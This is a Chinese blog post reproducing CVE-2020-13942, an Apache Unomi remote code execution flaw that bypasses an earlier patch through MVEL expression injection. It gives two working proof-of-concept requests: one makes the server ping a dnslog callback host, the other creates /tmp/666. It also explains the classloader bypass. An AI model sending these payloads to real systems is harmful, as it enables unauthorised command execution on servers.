CVE -2020-13942 (Apache Unomi 远程代码执行漏洞)复现

26 篇文章 2 订阅
19 篇文章 0 订阅

一、漏洞描述:

 

Apache Unomi是一个Java开源客户数据平台,这是一个Java服务器,旨在管理客户,潜在顾客和访问者的数据,并帮助个性化客户体验。Unomi可用于在非常不同的系统(例如CMS,CRM,问题跟踪器,本机移动应用程序等)中集成个性化和配置文件管理。

 

在Apache Unomi 1.5.1版本之前,攻击者可以通过精心构造的MVEL或ONGl表达式来发送恶意请求,使得Unomi服务器执行任意代码,漏洞对应编号为CVE-2020-11975,而CVE-2020-13942漏洞是对CVE-2020-11975漏洞的补丁绕过,攻击者绕过补丁检测的黑名单,发送恶意请求,在服务器执行任意代码。

 

二、影响版本:

Apache Unomi < 1.5.2

三、环境搭建:

 

四、漏洞复现:

POC1:

curl -X POST h9443/context.json?sessionId=1234 -k --header 'Content-type: application/json' --data '{"filters":[{"id":"test2 ","filters":[{"condition":{"parameterValues":{"propertyName":"prop","comparisonOperator":"equals","propertyValue":"script::Runtime r=Runtime.getRuntime();r.exec(\"ping 2oy74c.dnslog.cn\");"},"type":"profilePropertyCondition"}}]}],"sessionId":"test2"}'

红框内为reponse内容:

 

 

POC2:

POST /context.json HTTP/1.1
Host: 127.0.0.1:8181
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36


Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Length: 201
{"filters":[{"id" : "qust-sec","filters": [{"condition": {"parameterValues": {"": "script::Runtime.getRuntime().exec('touch /tmp/666');"},"type":"profilePropertyCondition"}}]}],"sessionId": "qust-sec"}

可以看到成功在/tmp目录下创建了666文件,touch /tmp/666命令成功执行

 

漏洞原理

Unomi依赖于OGNL、MVEL之类的表达式语言,在1.5.1版本之前,这些表达语言完全不受限制,所以很容易通过表达式注入来攻击Unomi。攻击者可以通过发送请求到Unomi服务器来执行任意代码和系统命令。此漏洞被归类为CVE-2020-11975。

CVE-2020-11975的修补程序引入了SecureFilteringClassLoader函数,该函数重写了ClassLoader类的loadClass方法,用黑白名单的方式过滤表达式中使用的类。但是除了调用loadClass()之外,还有很多种加载类的方法。在某些情况下,MVEL表达式可以直接使用已实例化的类(例如Runtime或System)而无需调用loadClass(),这样就绕过了SecureFilteringClassLoader。

上面的POC中带有包含MVEL表达式的参数(script::Runtime.getRuntime().exec('touch /tmp/666');),Unomi会解析这个参数,并执行script::之后的代码。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ATOM_123

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值